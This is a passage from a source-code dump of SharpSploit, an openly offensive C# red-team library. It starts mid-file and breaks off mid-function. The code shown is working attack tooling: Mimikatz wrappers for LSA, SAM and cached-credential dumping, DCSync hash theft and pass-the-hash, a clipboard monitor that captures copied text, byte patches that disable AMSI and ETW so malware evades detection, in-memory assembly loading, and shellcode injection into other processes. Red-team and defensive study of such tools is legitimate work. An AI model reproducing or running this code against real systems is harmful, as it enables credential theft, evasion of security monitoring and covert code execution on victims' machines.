/// Loads the Mimikatz PE and executes each of the builtin local commands (not DCSync). (Requires Admin) 169 | /// 170 | /// Mimikatz output. 171 | public static string All() 172 | { 173 | StringBuilder builder = new StringBuilder(); 174 | builder.AppendLine(LogonPasswords()); 175 | builder.AppendLine(SamDump()); 176 | builder.AppendLine(LsaSecrets()); 177 | builder.AppendLine(LsaCache()); 178 | builder.AppendLine(Wdigest()); 179 | return builder.ToString(); 180 | } 181 | 182 | /// 183 | /// Loads the Mimikatz PE and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin) 184 | /// 185 | /// Username to retrieve NTLM hash for. "All" for all domain users. 186 | /// Optionally specify an alternative fully qualified domain name. Default is current domain. 187 | /// Optionally specify a specific Domain Controller to target for the dcsync. 188 | /// The NTLM hash of the target user(s). 189 | public static string DCSync(string user, string FQDN = null, string DC = null) 190 | { 191 | string command = "\""; 192 | command += "lsadump::dcsync"; 193 | if (user.ToLower() == "all") 194 | { 195 | command += " /all"; 196 | } 197 | else 198 | { 199 | command += " /user:" + user; 200 | } 201 | if (FQDN != null && FQDN != "") 202 | { 203 | command += " /domain:" + FQDN; 204 | } 205 | else 206 | { 207 | command += " /domain:" + IPGlobalProperties.GetIPGlobalProperties().DomainName; 208 | } 209 | if (DC != null && DC != "") 210 | { 211 | command += " /dc:" + DC; 212 | } 213 | command += "\""; 214 | 215 | return Command(command); 216 | } 217 | 218 | /// 219 | /// Loads the Mimikatz PE and executes the "pth" module to start a new process 220 | /// as a user using an NTLM password hash for authentication. 221 | /// 222 | /// Username to authenticate as. 223 | /// NTLM hash to authenticate the user. 224 | /// Optionally specify an alternative fully qualified domain name. Default is current domain. 225 | /// The command to execute as the specified user. 226 | /// 227 | public static string PassTheHash(string user, string NTLM, string FQDN = null, string run = "cmd.exe") 228 | { 229 | string command = "\""; 230 | command += "sekurlsa::pth"; 231 | command += " /user:" + user; 232 | if (FQDN != null && FQDN != "") 233 | { 234 | command += " /domain:" + FQDN; 235 | } 236 | else 237 | { 238 | command += " /domain:" + IPGlobalProperties.GetIPGlobalProperties().DomainName; 239 | } 240 | command += " /ntlm:" + NTLM; 241 | command += " /run:" + run; 242 | command += "\""; 243 | return Command(command); 244 | } 245 | } 246 | } 247 | -------------------------------------------------------------------------------- /SharpSploit/Enumeration/Clipboard.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Text; 7 | using System.Threading; 8 | using System.Windows.Forms; 9 | 10 | using PInvoke = SharpSploit.Execution.PlatformInvoke; 11 | 12 | namespace SharpSploit.Enumeration 13 | { 14 | /// 15 | /// Clipboard allows for the monitoring of Clipboard text content. 16 | /// 17 | public class Clipboard 18 | { 19 | /// 20 | /// Starts a clipboard monitor 21 | /// 22 | /// Nick Muir (@_shellfarmer) 23 | /// String containing the captured clipboard contents, along with identification of what window they were copied from. 24 | /// The amount of time in seconds the clipboard monitor should run for before returning data. 25 | public static string StartClipboardMonitor(int Seconds) 26 | { 27 | StringBuilder builder = new StringBuilder(); 28 | builder.AppendLine(string.Format("[*] Starting Clipboard Monitor for {0} seconds.", Seconds)); 29 | builder.AppendLine(); 30 | 31 | if (Seconds <= 0) 32 | { 33 | NotificationForm form = new NotificationForm(); 34 | Application.Run(form); 35 | builder.Append(form.GetOutput()); 36 | return builder.ToString(); 37 | } 38 | else 39 | { 40 | using (System.Timers.Timer timer = new System.Timers.Timer(Seconds * 1000)) 41 | { 42 | timer.Elapsed += (source, e) => 43 | { 44 | builder.AppendLine(string.Format("[*] Finished Clipboard Monitor at {0:HH:mm:ss.fff}", DateTime.Now)); 45 | timer.Stop(); 46 | Application.Exit(); 47 | }; 48 | timer.Start(); 49 | NotificationForm form = new NotificationForm(); 50 | Application.Run(form); 51 | builder.Append(form.GetOutput()); 52 | return builder.ToString(); 53 | } 54 | } 55 | } 56 | 57 | private class NotificationForm : Form 58 | { 59 | private readonly StringBuilder Builder = new StringBuilder(); 60 | public NotificationForm() 61 | { 62 | PInvoke.Win32.User32.SetParent(Handle, new IntPtr(-3)); 63 | PInvoke.Win32.User32.AddClipboardFormatListener(Handle); 64 | } 65 | 66 | public string GetOutput() 67 | { 68 | return this.Builder.ToString(); 69 | } 70 | 71 | protected override void WndProc(ref Message m) 72 | { 73 | if (m.Msg == 0x031D) 74 | { 75 | Thread t = new Thread(() => { 76 | if (System.Windows.Forms.Clipboard.ContainsText()) 77 | { 78 | Builder.AppendLine(string.Format("[+] Collected: {0:HH:mm:ss.fff}", DateTime.Now)); 79 | Builder.AppendLine(string.Format("[+] Window Title: {0}", GetActiveWindowTitle())); 80 | Builder.AppendLine("[+] Data:"); 81 | Builder.AppendLine(string.Format("{0}", System.Windows.Forms.Clipboard.GetText())); 82 | Builder.AppendLine(); 83 | } 84 | }); 85 | 86 | t.SetApartmentState(ApartmentState.STA); 87 | t.Start(); 88 | t.Join(); 89 | } 90 | base.WndProc(ref m); 91 | } 92 | } 93 | 94 | /// 95 | /// Gets the active window title of the window keystrokes are being entered in. 96 | /// 97 | /// Scottie Austin (@checkymander) 98 | /// Title of the active window. 99 | private static string GetActiveWindowTitle() 100 | { 101 | const int capacity = 256; 102 | StringBuilder builder = new StringBuilder(capacity); 103 | IntPtr handle = PInvoke.Win32.User32.GetForegroundWindow(); 104 | 105 | if (PInvoke.Win32.User32.GetWindowText(handle, builder, capacity) > 0) 106 | { 107 | return builder.ToString(); 108 | } 109 | return null; 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /SharpSploit/Evasion/Amsi.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | 8 | using SharpSploit.Misc; 9 | using PInvoke = SharpSploit.Execution.PlatformInvoke; 10 | 11 | namespace SharpSploit.Evasion 12 | { 13 | /// 14 | /// Amsi is a class for manipulating the Antimalware Scan Interface. 15 | /// 16 | public class Amsi 17 | { 18 | /// 19 | /// Patch the AmsiScanBuffer function in amsi.dll. 20 | /// 21 | /// Daniel Duggan (@_RastaMouse) 22 | /// Bool. True if succeeded, otherwise false. 23 | /// 24 | /// Credit to Adam Chester (@_xpn_). 25 | /// 26 | public static bool PatchAmsiScanBuffer() 27 | { 28 | byte[] patch; 29 | if (Utilities.Is64Bit) 30 | { 31 | patch = new byte[6]; 32 | patch[0] = 0xB8; 33 | patch[1] = 0x57; 34 | patch[2] = 0x00; 35 | patch[3] = 0x07; 36 | patch[4] = 0x80; 37 | patch[5] = 0xc3; 38 | } 39 | else 40 | { 41 | patch = new byte[8]; 42 | patch[0] = 0xB8; 43 | patch[1] = 0x57; 44 | patch[2] = 0x00; 45 | patch[3] = 0x07; 46 | patch[4] = 0x80; 47 | patch[5] = 0xc2; 48 | patch[6] = 0x18; 49 | patch[7] = 0x00; 50 | } 51 | 52 | try 53 | { 54 | var library = PInvoke.Win32.Kernel32.LoadLibrary("amsi.dll"); 55 | var address = PInvoke.Win32.Kernel32.GetProcAddress(library, "AmsiScanBuffer"); 56 | uint oldProtect; 57 | PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out oldProtect); 58 | Marshal.Copy(patch, 0, address, patch.Length); 59 | PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect); 60 | return true; 61 | } 62 | catch (Exception e) 63 | { 64 | Console.Error.WriteLine("Exception: " + e.Message); 65 | return false; 66 | } 67 | } 68 | } 69 | } -------------------------------------------------------------------------------- /SharpSploit/Evasion/ETW.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | using SharpSploit.Misc; 8 | using PInvoke = SharpSploit.Execution.PlatformInvoke; 9 | 10 | namespace SharpSploit.Evasion 11 | { 12 | 13 | /// 14 | /// ETW is a class for manipulating Event Tracing for Windows (ETW). 15 | /// 16 | public class ETW 17 | { 18 | /// 19 | /// Patch the EtwEventWrite function in ntdll.dll. 20 | /// 21 | /// Simone Salucci & Daniel López @ NCC Group 22 | /// Bool. True if succeeded, otherwise false. 23 | /// 24 | /// Code has been adapted from Adam Chester (https://blog.xpnsec.com/hiding-your-dotnet-etw/) and Mythic Atlas (https://github.com/its-a-feature/Mythic/tree/master/Payload_Types/atlas). 25 | /// 26 | public static bool PatchETWEventWrite() 27 | { 28 | byte[] patch; 29 | if (Utilities.Is64Bit) 30 | { 31 | patch = new byte[2]; 32 | patch[0] = 0xc3; 33 | patch[1] = 0x00; 34 | } 35 | else 36 | { 37 | patch = new byte[3]; 38 | patch[0] = 0xc2; 39 | patch[1] = 0x14; 40 | patch[2] = 0x00; 41 | } 42 | 43 | try 44 | { 45 | var library = PInvoke.Win32.Kernel32.LoadLibrary("ntdll.dll"); 46 | var address = PInvoke.Win32.Kernel32.GetProcAddress(library, "EtwEventWrite"); 47 | PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out uint oldProtect); 48 | Marshal.Copy(patch, 0, address, patch.Length); 49 | PInvoke.Win32.Kernel32.VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect); 50 | return true; 51 | } 52 | catch 53 | { 54 | return false; 55 | } 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /SharpSploit/Execution/Assembly.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using Reflect = System.Reflection; 7 | 8 | using SharpSploit.Generic; 9 | 10 | namespace SharpSploit.Execution 11 | { 12 | /// 13 | /// Assembly is a library for loading .NET assemblies and executing methods contained within them. 14 | /// 15 | public class Assembly 16 | { 17 | /// 18 | /// Loads a specified .NET assembly byte array and executes the EntryPoint. 19 | /// 20 | /// The .NET assembly byte array. 21 | /// The arguments to pass to the assembly's EntryPoint. 22 | public static void AssemblyExecute(byte[] AssemblyBytes, Object[] Args = null) 23 | { 24 | if (Args == null) 25 | { 26 | Args = new Object[] { new string[] { } }; 27 | } 28 | Reflect.Assembly assembly = Load(AssemblyBytes); 29 | assembly.EntryPoint.Invoke(null, Args); 30 | } 31 | 32 | /// 33 | /// Loads a specified .NET assembly byte array and executes a specified method within a 34 | /// specified type with specified parameters. 35 | /// 36 | /// The .NET assembly byte array. 37 | /// The name of the type that contains the method to execute. 38 | /// The name of the method to execute. 39 | /// The parameters to pass to the method. 40 | /// GenericObjectResult of the method. 41 | public static GenericObjectResult AssemblyExecute(byte[] AssemblyBytes, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[])) 42 | { 43 | Reflect.Assembly assembly = Load(AssemblyBytes); 44 | Type type = TypeName == "" ? assembly.GetTypes()[0] : assembly.GetType(TypeName); 45 | Reflect.MethodInfo method = MethodName == "" ? type.GetMethods()[0] : type.GetMethod(MethodName); 46 | var results = method.Invoke(null, Parameters); 47 | return new GenericObjectResult(results); 48 | } 49 | 50 | /// 51 | /// Loads a specified base64-encoded .NET assembly and executes a specified method within a 52 | /// specified type with specified parameters. 53 | /// 54 | /// The base64-encoded .NET assembly byte array. 55 | /// The name of the type that contains the method to execute. 56 | /// The name of the method to execute. 57 | /// The parameters to pass to the method. 58 | /// GenericObjectResult of the method. 59 | public static GenericObjectResult AssemblyExecute(String EncodedAssembly, String TypeName = "", String MethodName = "Execute", Object[] Parameters = default(Object[])) 60 | { 61 | return AssemblyExecute(Convert.FromBase64String(EncodedAssembly), TypeName, MethodName, Parameters); 62 | } 63 | 64 | /// 65 | /// Loads a specified base64-encoded .NET assembly and executes the EntryPoint. 66 | /// 67 | /// The base64-encoded .NET assembly byte array. 68 | /// The arguments to pass to the assembly's EntryPoint. 69 | public static void AssemblyExecute(String EncodedAssembly, Object[] Args = default(Object[])) 70 | { 71 | AssemblyExecute(Convert.FromBase64String(EncodedAssembly), Args); 72 | } 73 | 74 | /// 75 | /// Loads a specified .NET assembly byte array. 76 | /// 77 | /// The .NET assembly byte array. 78 | /// Loaded assembly. 79 | public static Reflect.Assembly Load(byte[] AssemblyBytes) 80 | { 81 | return Reflect.Assembly.Load(AssemblyBytes); 82 | } 83 | 84 | /// 85 | /// Loads a specified .NET assembly byte array. 86 | /// 87 | /// The base64-encoded .NET assembly byte array. 88 | /// Loaded assembly. 89 | public static Reflect.Assembly Load(string EncodedAssembly) 90 | { 91 | return Reflect.Assembly.Load(Convert.FromBase64String(EncodedAssembly)); 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /SharpSploit/Execution/DynamicInvoke/Win32.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Runtime.InteropServices; 7 | 8 | using Execute = SharpSploit.Execution; 9 | 10 | namespace SharpSploit.Execution.DynamicInvoke 11 | { 12 | /// 13 | /// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls. 14 | /// 15 | public static class Win32 16 | { 17 | /// 18 | /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess 19 | /// 20 | /// The Wover (@TheRealWover) 21 | /// 22 | /// 23 | /// 24 | /// 25 | public static IntPtr OpenProcess(Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId) 26 | { 27 | // Craft an array for the arguments 28 | object[] funcargs = 29 | { 30 | dwDesiredAccess, bInheritHandle, dwProcessId 31 | }; 32 | 33 | return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess", 34 | typeof(Delegates.OpenProcess), ref funcargs); 35 | } 36 | 37 | public static IntPtr CreateRemoteThread( 38 | IntPtr hProcess, 39 | IntPtr lpThreadAttributes, 40 | uint dwStackSize, 41 | IntPtr lpStartAddress, 42 | IntPtr lpParameter, 43 | uint dwCreationFlags, 44 | ref IntPtr lpThreadId) 45 | { 46 | // Craft an array for the arguments 47 | object[] funcargs = 48 | { 49 | hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId 50 | }; 51 | 52 | IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread", 53 | typeof(Delegates.CreateRemoteThread), ref funcargs); 54 | 55 | // Update the modified variables 56 | lpThreadId = (IntPtr)funcargs[6]; 57 | 58 | return retValue; 59 | } 60 | 61 | /// 62 | /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process 63 | /// 64 | /// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine). 65 | public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo) 66 | { 67 | 68 | // Build the set of parameters to pass in to IsWow64Process 69 | object[] funcargs = 70 | { 71 | hProcess, lpSystemInfo 72 | }; 73 | 74 | bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs); 75 | 76 | lpSystemInfo = (bool) funcargs[1]; 77 | 78 | // Dynamically load and invoke the API call with out parameters 79 | return retVal; 80 | } 81 | 82 | /// 83 | /// Uses DynamicInvocation to call the VirtualAllocEx Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex 84 | /// 85 | /// Returns the base address of allocated region if successful, otherwise return NULL. 86 | public static IntPtr VirtualAllocEx( 87 | IntPtr hProcess, 88 | IntPtr lpAddress, 89 | uint dwSize, 90 | Execute.Win32.Kernel32.AllocationType flAllocationType, 91 | Execute.Win32.Kernel32.MemoryProtection flProtect) 92 | { 93 | // Craft an array for the arguments 94 | object[] funcargs = 95 | { 96 | hProcess, lpAddress, dwSize, flAllocationType, flProtect 97 | }; 98 | 99 | IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"VirtualAllocEx", 100 | typeof(Delegates.VirtualAllocEx), ref funcargs); 101 | 102 | return retValue; 103 | 104 | } 105 | 106 | /// 107 | /// Uses DynamicInvocation to call the WriteProcessMemory Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory 108 | /// 109 | /// Returns true if process memory was written successfully, otherwise return false. 110 | public static bool WriteProcessMemory( 111 | IntPtr hProcess, 112 | IntPtr lpBaseAddress, 113 | byte[] lpBuffer, 114 | Int32 nSize, 115 | out IntPtr lpNumberOfBytesWritten) 116 | { 117 | // Craft an array for the arguments 118 | object[] funcargs = 119 | { 120 | hProcess, lpBaseAddress, lpBuffer, nSize, IntPtr.Zero 121 | }; 122 | 123 | bool retValue = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"WriteProcessMemory", 124 | typeof(Delegates.WriteProcessMemory), ref funcargs); 125 | 126 | // Update bytes written 127 | lpNumberOfBytesWritten = (IntPtr)funcargs[4]; 128 | 129 | return retValue; 130 | } 131 | 132 | public static class Delegates 133 | { 134 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 135 | public delegate IntPtr CreateRemoteThread(IntPtr hProcess, 136 | IntPtr lpThreadAttributes, 137 | uint dwStackSize, 138 | IntPtr lpStartAddress, 139 | IntPtr lpParameter, 140 | uint dwCreationFlags, 141 | out IntPtr lpThreadId); 142 | 143 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)] 144 | public delegate IntPtr OpenProcess( 145 | Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, 146 | bool bInheritHandle, 147 | UInt32 dwProcessId 148 | ); 149 | 150 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 151 | public delegate IntPtr VirtualAllocEx( 152 | IntPtr hProcess, 153 | IntPtr lpAddress, 154 | uint dwSize, 155 | Execute.Win32.Kernel32.AllocationType flAllocationType, 156 | Execute.Win32.Kernel32.MemoryProtection flProtect 157 | ); 158 | 159 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 160 | public delegate bool WriteProcessMemory( 161 | IntPtr hProcess, 162 | IntPtr lpBaseAddress, 163 | byte[] lpBuffer, 164 | Int32 nSize, 165 | out IntPtr lpNumberOfBytesWritten 166 | ); 167 | 168 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 169 | public delegate bool IsWow64Process( 170 | IntPtr hProcess, ref bool lpSystemInfo 171 | ); 172 | } 173 | } 174 | } 175 | -------------------------------------------------------------------------------- /SharpSploit/Execution/Injection/AllocationTechnique.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using System.Diagnostics; 4 | 5 | namespace SharpSploit.Execution.Injection 6 | { 7 | /// 8 | /// Base class for allocation techniques. 9 | /// 10 | public abstract class AllocationTechnique 11 | { 12 | // An array containing a set of PayloadType objects that are supported. 13 | protected Type[] supportedPayloads; 14 | 15 | /// 16 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 17 | /// 18 | /// The Wover (@TheRealWover) 19 | /// A payload. 20 | /// Whether or not the payload is of a supported type for this strategy. 21 | public abstract bool IsSupportedPayloadType(PayloadType Payload); 22 | 23 | /// 24 | /// Internal method for setting the supported payload types. Used in constructors. 25 | /// 26 | /// The Wover (@TheRealWover) 27 | internal abstract void DefineSupportedPayloadTypes(); 28 | 29 | /// 30 | /// Allocate the payload to the target process at a specified address. 31 | /// 32 | /// The Wover (@TheRealWover) 33 | /// The payload to allocate to the target process. 34 | /// The target process. 35 | /// The address at which to allocate the payload in the target process. 36 | /// True when allocation was successful. Otherwise, throws relevant exceptions. 37 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) 38 | { 39 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; 40 | 41 | try 42 | { 43 | // Get delegate to the overload of Allocate that supports the type of payload passed in 44 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 45 | 46 | // Dynamically invoke the appropriate Allocate overload 47 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); 48 | } 49 | // If there is no such method 50 | catch (ArgumentNullException) 51 | { 52 | throw new PayloadTypeNotSupported(Payload.GetType()); 53 | } 54 | } 55 | 56 | /// 57 | /// Allocate the payload to the target process. 58 | /// 59 | /// The Wover (@TheRealWover) 60 | /// The payload to allocate to the target process. 61 | /// The target process. 62 | /// Base address of allocated memory within the target process's virtual memory space. 63 | public virtual IntPtr Allocate(PayloadType Payload, Process Process) 64 | { 65 | 66 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; 67 | 68 | try 69 | { 70 | // Get delegate to the overload of Allocate that supports the type of payload passed in 71 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 72 | 73 | // Dynamically invoke the appropriate Allocate overload 74 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); 75 | } 76 | // If there is no such method 77 | catch (ArgumentNullException) 78 | { 79 | throw new PayloadTypeNotSupported(Payload.GetType()); 80 | } 81 | } 82 | } 83 | 84 | 85 | /// 86 | /// Exception thrown when the payload memory fails to allocate 87 | /// 88 | public class AllocationFailed : Exception 89 | { 90 | public AllocationFailed() { } 91 | 92 | public AllocationFailed(int error) : base(string.Format("Memory failed to allocate with system error code: {0}", error)) { } 93 | } 94 | 95 | /// 96 | /// Exception thrown when the memory fails to write 97 | /// 98 | public class MemoryWriteFailed : Exception 99 | { 100 | public MemoryWriteFailed() { } 101 | 102 | public MemoryWriteFailed(int error) : base(string.Format("Memory failed to write with system error code: {0}", error)) { } 103 | } 104 | } -------------------------------------------------------------------------------- /SharpSploit/Execution/Injection/Injector.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | 3 | namespace SharpSploit.Execution.Injection 4 | { 5 | /// 6 | /// Provides static functions for performing injection using a combination of Allocation and Execution components. 7 | /// 8 | /// The Wover (@TheRealWover) 9 | public static class Injector 10 | { 11 | /// 12 | /// Inject a payload into a target process using a specified allocation and execution technique. 13 | /// 14 | /// The Wover (@TheRealWover) 15 | /// 16 | /// 17 | /// 18 | /// 19 | /// 20 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process) 21 | { 22 | return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process); 23 | } 24 | 25 | /// 26 | /// Inject a payload into the current process using a specified allocation and execution technique. 27 | /// 28 | /// 29 | /// 30 | /// 31 | /// 32 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique) 33 | { 34 | return ExecutionTechnique.Inject(Payload, AllocationTechnique); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /SharpSploit/Execution/Injection/PayloadType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSploit.Execution.Injection 4 | { 5 | /// 6 | /// Base class for all types of payloads. 7 | /// Variants are responsible for specifying what types of payloads they support. 8 | /// 9 | /// The Wover (@TheRealWover) 10 | public abstract class PayloadType 11 | { 12 | public byte[] Payload { get; private set; } 13 | 14 | // Constructor that requires the user to pass in the payload as a byte array. 15 | protected PayloadType(byte[] data) 16 | { 17 | Payload = data; 18 | } 19 | } 20 | 21 | /// 22 | /// Represents payloads that are position-independent-code. 23 | /// 24 | /// The Wover (@TheRealWover) 25 | public class PICPayload : PayloadType 26 | { 27 | // Declares the constructor as equivalent to that of the base class. 28 | public PICPayload(byte[] data) : base(data) { } 29 | } 30 | 31 | /// 32 | /// Exception thrown when the type of a payload is not supported by a injection variant. 33 | /// 34 | /// The Wover (@TheRealWover) 35 | public class PayloadTypeNotSupported : Exception 36 | { 37 | public PayloadTypeNotSupported() { } 38 | 39 | public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /SharpSploit/Execution/Injection/SectionMapAllocationTechnique.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Diagnostics; 4 | 5 | namespace SharpSploit.Execution.Injection 6 | { 7 | /// 8 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. 9 | /// 10 | public class SectionMapAllocationTechnique : AllocationTechnique 11 | { 12 | // Publically accessible options 13 | 14 | public uint localSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE; 15 | public uint remoteSectionPermissions = Win32.WinNT.PAGE_EXECUTE_READWRITE; 16 | public uint sectionAttributes = Win32.WinNT.SEC_COMMIT; 17 | 18 | /// 19 | /// Default constructor. 20 | /// 21 | public SectionMapAllocationTechnique() 22 | { 23 | DefineSupportedPayloadTypes(); 24 | } 25 | 26 | /// 27 | /// Constructor allowing options as arguments. 28 | /// 29 | public SectionMapAllocationTechnique(uint localPerms = Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Win32.WinNT.SEC_COMMIT) 30 | { 31 | DefineSupportedPayloadTypes(); 32 | localSectionPermissions = localPerms; 33 | remoteSectionPermissions = remotePerms; 34 | sectionAttributes = atts; 35 | } 36 | 37 | /// 38 | /// States whether the payload is supported. 39 | /// 40 | /// The Wover (@TheRealWover) 41 | /// Payload that will be allocated. 42 | /// 43 | public override bool IsSupportedPayloadType(PayloadType Payload) 44 | { 45 | return supportedPayloads.Contains(Payload.GetType()); 46 | } 47 | 48 | /// 49 | /// Internal method for setting the supported payload types. Used in constructors. 50 | /// Update when new types of payloads are added. 51 | /// 52 | /// The Wover (@TheRealWover) 53 | internal override void DefineSupportedPayloadTypes() 54 | { 55 | //Defines the set of supported payload types. 56 | supportedPayloads = new Type[] { 57 | typeof(PICPayload) 58 | }; 59 | } 60 | 61 | /// 62 | /// Allocate the payload to the target process. Handles unknown payload types. 63 | /// 64 | /// The Wover (@TheRealWover) 65 | /// The payload to allocate to the target process. 66 | /// The target process. 67 | /// Base address of allocated memory within the target process's virtual memory space. 68 | public override IntPtr Allocate(PayloadType Payload, Process Process) 69 | { 70 | if (!IsSupportedPayloadType(Payload)) 71 | { 72 | throw new PayloadTypeNotSupported(Payload.GetType()); 73 | } 74 | return Allocate(Payload, Process, IntPtr.Zero); 75 | } 76 | 77 | /// 78 | /// Allocate the payload in the target process. 79 | /// 80 | /// The Wover (@TheRealWover) 81 | /// The PIC payload to allocate to the target process. 82 | /// The target process. 83 | /// The preferred address at which to allocate the payload in the target process. 84 | /// Base address of allocated memory within the target process's virtual memory space. 85 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) 86 | { 87 | // Get a convenient handle for the target process. 88 | IntPtr procHandle = Process.Handle; 89 | 90 | // Create a section to hold our payload 91 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); 92 | 93 | // Map a view of the section into our current process with RW permissions 94 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, 95 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); 96 | 97 | // Copy the shellcode to the local view 98 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); 99 | 100 | // Now that we are done with the mapped view in our own process, unmap it 101 | Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); 102 | 103 | // Now, map a view of the section to other process. It should already hold the payload. 104 | 105 | SectionDetails newDetails; 106 | 107 | if (PreferredAddress != IntPtr.Zero) 108 | { 109 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location. 110 | // Refer to MSDN documentation on ZwMapViewOfSection for details. 111 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); 112 | } 113 | else 114 | { 115 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); 116 | } 117 | return newDetails.baseAddr; 118 | } 119 | 120 | /// 121 | /// Creates a new Section. 122 | /// 123 | /// The Wover (@TheRealWover) 124 | /// Max size of the Section. 125 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). 126 | /// 127 | private static IntPtr CreateSection(ulong size, uint allocationAttributes) 128 | { 129 | // Create a pointer for the section handle 130 | IntPtr SectionHandle = new IntPtr(); 131 | ulong maxSize = size; 132 | 133 | Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( 134 | ref SectionHandle, 135 | 0x10000000, 136 | IntPtr.Zero, 137 | ref maxSize, 138 | Win32.WinNT.PAGE_EXECUTE_READWRITE, 139 | allocationAttributes, 140 | IntPtr.Zero 141 | ); 142 | // Perform error checking on the result 143 | if (result < 0) 144 | { 145 | return IntPtr.Zero; 146 | } 147 | return SectionHandle; 148 | } 149 | 150 | /// 151 | /// Maps a view of a section to the target process. 152 | /// 153 | /// The Wover (@TheRealWover) 154 | /// Handle the process that the section will be mapped to. 155 | /// Handle to the section. 156 | /// What permissions to use on the view. 157 | /// Optional parameter to specify the address of where to map the view. 158 | /// Size of the view to map. Must be smaller than the max Section size. 159 | /// A struct containing address and size of the mapped view. 160 | public static SectionDetails MapSection(IntPtr 